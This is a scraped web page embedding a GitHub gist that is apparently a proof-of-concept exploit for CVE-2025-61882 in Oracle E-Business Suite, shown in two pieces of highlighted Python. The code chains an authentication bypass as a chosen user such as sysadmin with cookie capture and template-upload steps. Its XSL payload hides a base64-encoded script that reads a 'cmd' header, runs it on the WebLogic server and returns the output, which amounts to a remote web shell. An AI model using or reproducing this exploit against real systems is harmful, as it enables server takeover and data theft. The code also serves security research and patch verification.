class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L363\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;363\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC363\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-en>print</span>(<span class=pl-s1>r</span>.<span class=pl-c1>text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L364\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;364\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC364\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L365\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;365\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC365\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed to preview template or no output returned. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L366\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;366\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC366\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L367\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;367\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC367\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L368\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;368\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC368\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L369\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;369\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC369\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L370\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;370\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC370\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] Request failed: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L371\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;371\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC371\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L372\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;372\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC372\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>if</span> <span class=pl-s1>__name__</span> <span class=pl-c1>==</span> <span class=pl-s>&amp;quot;__main__&amp;quot;</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L373\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;373\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC373\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>url</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;Enter target url (ex:http://example.com): &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L374\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;374\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC374\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-en>check</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L375\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;375\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC375\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>username</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;Enter username to authenticate as (ex: sysadmin): &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L376\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;376\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC376\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>sid</span> <span class=pl-c1>=</span> <span class=pl-en>auth_bypass</span>(<span class=pl-s1>url</span>, <span class=pl-s1>username</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L377\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;377\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC377\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>sid</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L378\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;378\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC378\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>cookies</span> <span class=pl-c1>=</span> <span class=pl-en>get_cookies</span>(<span class=pl-s1>url</span>, <span class=pl-s1>sid</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L379\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;379\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC379\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s1>cookies</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L380\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;380\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC380\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-c1>COOKIES</span>.<span class=pl-c1>update</span>(<span class=pl-s1>cookies</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L381\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;381\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC381\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>html1</span> <span class=pl-c1>=</span> <span class=pl-en>step_1</span>(<span class=pl-s1>url</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L382\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;382\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC382\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>if</span> <span class=pl-s1>html1</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L383\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;383\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC383\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>html2</span> <span class=pl-c1>=</span> <span class=pl-en>step_2</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L384\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;384\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC384\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-k>if</span> <span class=pl-s1>html2</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L385\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;385\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC385\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                        <span class=pl-s1>html3</span> <span class=pl-c1>=</span> <span class=pl-en>step_3</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html2</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L386\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;386\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC386\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                        <span class=pl-k>if</span> <span class=pl-s1>html3</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L387\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;387\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC387\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                            <span class=pl-en>step_4</span>(<span class=pl-s1>url</span>,<span class=pl-s1>html3</span>)    </td>\n        </tr>\n  </table>\n</div>\n\n\n    </div>\n\n  </div>\n</div>\n\n      </div>\n      <div class=\&quot;gist-meta\&quot;>\n        <a href=\&quot;https://gist.github.com/testanull/a897473577b8650932221172e50304ce/raw/4fc306d2f6ae6a88664f43faf57e5bf2779ade9b/EBS_CVE-2025-61882_poc.py\&quot; style=\&quot;float:right\&quot; class=\&quot;Link--inTextBlock\&quot;>view raw</a>\n        <a href=\&quot;https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py\&quot; class=\&quot;Link--inTextBlock\&quot;>\n          EBS_CVE-2025-61882_poc.py\n        </a>\n        hosted with &amp;#10084; by <a class=\&quot;Link--inTextBlock\&quot; href=\&quot;https://github.com\&quot;>GitHub</a>\n      </div>\n    </div>\n</div>\n&quot;,&quot;stylesheet&quot;:&quot;https://github.githubassets.com/assets/gist-embed-68783a026c0c.css&quot;}" data-component-name="GitgistToDOM"><link rel="stylesheet" href="https://github.githubassets.com/assets/gist-embed-68783a026c0c.css"><div id="gist144648680" class="gist">
    <div class="gist-file" data-color-mode="light" data-light-theme="light">
      <div class="gist-data">
        <div class="js-gist-file-update-container js-task-list-container">
  <div id="file-ebs_cve-2025-61882_poc-py" class="file my-2">
    
    <div itemprop="text" class="Box-body p-0 blob-wrapper data type-python  " style="overflow:auto">

        
<div class="js-check-hidden-unicode js-blob-code-container blob-code-content">

  
  <div data-view-component="true" class="flash flash-warn flash-full d-flex flex-items-center">
  
    

    <span>
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      <a class="Link--inTextBlock" href="https://github.co/hiddenchars" target="_blank">Learn more about bidirectional Unicode characters</a>
    </span>


  <div data-view-component="true" class="flash-action">        <a href="{{ revealButtonHref }}" data-view-component="true" class="btn-sm btn">    Show hidden characters
</a>
</div>
</div>

  <span data-view-component="true" class="line-alert tooltipped tooltipped-e">
    
    

</span>

  <table data-hpc="" class="highlight tab-size js-file-line-container" data-tab-size="4" data-paste-markdown-skip="" data-tagsearch-path="EBS_CVE-2025-61882_poc.py">
        <tbody><tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L1" class="blob-num js-line-number js-blob-rnum" data-line-number="1"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC1" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">requests</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L2" class="blob-num js-line-number js-blob-rnum" data-line-number="2"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC2" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-s1">bs4</span> <span class="pl-k">import</span> <span class="pl-v">BeautifulSoup</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L3" class="blob-num js-line-number js-blob-rnum" data-line-number="3"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC3" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">re</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L4" class="blob-num js-line-number js-blob-rnum" data-line-number="4"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC4" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">random</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L5" class="blob-num js-line-number js-blob-rnum" data-line-number="5"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC5" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">base64</span> <span class="pl-k">as</span> <span class="pl-v">Base64</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L6" class="blob-num js-line-number js-blob-rnum" data-line-number="6"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC6" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">xml</span>.<span class="pl-s1">etree</span>.<span class="pl-v">ElementTree</span> <span class="pl-k">as</span> <span class="pl-c1">ET</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L7" class="blob-num js-line-number js-blob-rnum" data-line-number="7"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC7" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> <span class="pl-s1">urllib</span>.<span class="pl-s1">parse</span> <span class="pl-k">as</span> <span class="pl-s1">urlparse</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L8" class="blob-num js-line-number js-blob-rnum" data-line-number="8"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC8" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-s1">urllib</span>.<span class="pl-s1">parse</span> <span class="pl-k">import</span> <span class="pl-s1">unquote</span>, <span class="pl-s1">parse_qs</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L9" class="blob-num js-line-number js-blob-rnum" data-line-number="9"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC9" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L10" class="blob-num js-line-number js-blob-rnum" data-line-number="10"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC10" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">COOKIES</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L11" class="blob-num js-line-number js-blob-rnum" data-line-number="11"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC11" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"JSESSIONID"</span>: <span class="pl-s">"abc"</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L12" class="blob-num js-line-number js-blob-rnum" data-line-number="12"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC12" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"EBSDB"</span>: <span class="pl-s">"def"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L13" class="blob-num js-line-number js-blob-rnum" data-line-number="13"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC13" class="blob-code blob-code-inner js-file-line">}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L14" class="blob-num js-line-number js-blob-rnum" data-line-number="14"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC14" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L15" class="blob-num js-line-number js-blob-rnum" data-line-number="15"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC15" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">HEADERS</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L16" class="blob-num js-line-number js-blob-rnum" data-line-number="16"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC16" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"User-Agent"</span>: <span class="pl-s">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L17" class="blob-num js-line-number js-blob-rnum" data-line-number="17"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC17" class="blob-code blob-code-inner js-file-line">    <span class="pl-s">"Content-Type"</span>: <span class="pl-s">"application/x-www-form-urlencoded"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L18" class="blob-num js-line-number js-blob-rnum" data-line-number="18"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC18" class="blob-code blob-code-inner js-file-line">    }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L19" class="blob-num js-line-number js-blob-rnum" data-line-number="19"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC19" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L20" class="blob-num js-line-number js-blob-rnum" data-line-number="20"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC20" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">TEMPLATE_NAME</span> <span class="pl-c1">=</span> <span class="pl-s">"Template"</span> <span class="pl-c1">+</span> <span class="pl-en">str</span>(<span class="pl-s1">random</span>.<span class="pl-c1">randint</span>(<span class="pl-c1">1000</span>, <span class="pl-c1">9999</span>))</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L21" class="blob-num js-line-number js-blob-rnum" data-line-number="21"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC21" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L22" class="blob-num js-line-number js-blob-rnum" data-line-number="22"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC22" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">PROXY</span> <span class="pl-c1">=</span> {<span class="pl-s">"http"</span>: <span class="pl-s">"http://127.0.0.1:8089"</span>, <span class="pl-s">"https"</span>: <span class="pl-s">"http://127.0.0.1:8089"</span>}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L23" class="blob-num js-line-number js-blob-rnum" data-line-number="23"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC23" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L24" class="blob-num js-line-number js-blob-rnum" data-line-number="24"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC24" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">XSL_PAYLOAD</span> <span class="pl-c1">=</span> <span class="pl-s">'''&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L25" class="blob-num js-line-number js-blob-rnum" data-line-number="25"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC25" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;xsl:stylesheet version="1.0"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L26" class="blob-num js-line-number js-blob-rnum" data-line-number="26"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC26" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L27" class="blob-num js-line-number js-blob-rnum" data-line-number="27"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC27" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L28" class="blob-num js-line-number js-blob-rnum" data-line-number="28"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC28" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L29" class="blob-num js-line-number js-blob-rnum" data-line-number="29"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC29" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L30" class="blob-num js-line-number js-blob-rnum" data-line-number="30"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC30" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L31" class="blob-num js-line-number js-blob-rnum" data-line-number="31"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC31" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L32" class="blob-num js-line-number js-blob-rnum" data-line-number="32"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC32" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;xsl:template match="/"&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L33" class="blob-num js-line-number js-blob-rnum" data-line-number="33"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC33" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'dmFyIGUgPSAnJzsKdmFyIG91dHB1dCA9ICIiOwoKdHJ5IHsKICAgIHZhciB0aHJlYWQgPSBqYXZhLmxhbmcuVGhyZWFkLmN1cnJlbnRUaHJlYWQoKTsKICAgIHZhciBjdHhMb2FkZXIgPSB0aHJlYWQuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCk7CiAgICB2YXIgZXhlY3V0ZVRocmVhZENscyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJ3ZWJsb2dpYy53b3JrLkV4ZWN1dGVUaHJlYWQiLCB0cnVlLCBjdHhMb2FkZXIpOwogICAgdmFyIHNlcnZsZXRSZXNwb25zZUltcGxDbHMgPSBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgid2VibG9naWMuc2VydmxldC5pbnRlcm5hbC5TZXJ2bGV0UmVzcG9uc2VJbXBsIiwgdHJ1ZSwgY3R4TG9hZGVyKTsKICAgICAgICB2YXIgYWRhcHRlciA9IGV4ZWN1dGVUaHJlYWRDbHMuY2FzdCh0aHJlYWQpLmdldEN1cnJlbnRXb3JrKCk7CiAgICB2YXIgcmVzOwogICAgdmFyIHJlcTsKICAgIGlmIChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TmFtZSgpLmVuZHNXaXRoKCJTZXJ2bGV0UmVxdWVzdEltcGwiKSkgewogICAgICAgIHJlcyA9IHNlcnZsZXRSZXNwb25zZUltcGxDbHMuY2FzdChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIpLmludm9rZShhZGFwdGVyKSk7CiAgICAgICAgcmVxID0gYWRhcHRlcjsgCiAgICB9IGVsc2UgewogICAgICAgIHZhciBmaWVsZCA9IGFkYXB0ZXIuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJjb25uZWN0aW9uSGFuZGxlciIpOwogICAgICAgIGZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgdmFyIG9iaiA9IGZpZWxkLmdldChhZGFwdGVyKTsKICAgICAgICByZXEgPSBvYmouZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImdldFNlcnZsZXRSZXF1ZXN0IikuaW52b2tlKG9iaik7CiAgICAgICAgcmVzID0gc2VydmxldFJlc3BvbnNlSW1wbENscy5jYXN0KHJlcS5nZXRDbGFzcygpLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiKS5pbnZva2UocmVxKSk7CiAgICB9CgogCiAgICB2YXIgY21kID0gcmVxLmdldEhlYWRlcigiY21kIik7CiAgICBpZiAoY21kKSB7CiAgICAgICAgdmFyIHByb2MgPSBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpOwogICAgICAgIHZhciBpcyA9IHByb2MuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAKICAgICAgICB2YXIgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihpcykudXNlRGVsaW1pdGVyKCJcXEEiKTsKICAgICAgICBvdXRwdXQgPSBzLmhhc05leHQoKSA/IHMubmV4dCgpIDogIiI7CiAgICAgICAgCiAgICAgICAgaWYgKG91dHB1dC5sZW5ndGgoKSA8IDEpIHsKICAgICAgICAgICAgdmFyIGVzID0gcHJvYy5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB2YXIgc2UgPSBuZXcgamF2YS51dGlsLlNjYW5uZXIoZXMpLnVzZURlbGltaXRlcigiXFxBIik7CiAgICAgICAgICAgIG91dHB1dCA9IHNlLmhhc05leHQoKSA/IHNlLm5leHQoKSA6ICIiOwogICAgICAgIH0KCiAgICAgICAgcmVzLmdldFNlcnZsZXRPdXRwdXRTdHJlYW0oKS53cml0ZShuZXcgamF2YS5sYW5nLlN0cmluZyhvdXRwdXQpLmdldEJ5dGVzKCkpOwogICAgICAgIHJlcy5nZXRTZXJ2bGV0T3V0cHV0U3RyZWFtKCkuZmx1c2goKTsKICAgICAgICByZXMuZ2V0V3JpdGVyKCkuY2xvc2UoKTsKICAgICAgICByZXMuZ2V0U2VydmxldE91dHB1dFN0cmVhbSgpLmNsb3NlKCk7CiAgICAgICAgCiAgICB9Cgp9IGNhdGNoIChlcnJvcikgewogICAgCn0=')" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L34" class="blob-num js-line-number js-blob-rnum" data-line-number="34"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC34" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="js" select="str:new($bs)" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L35" class="blob-num js-line-number js-blob-rnum" data-line-number="35"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC35" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="m" select="jsm:new()" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L36" class="blob-num js-line-number js-blob-rnum" data-line-number="36"></td>
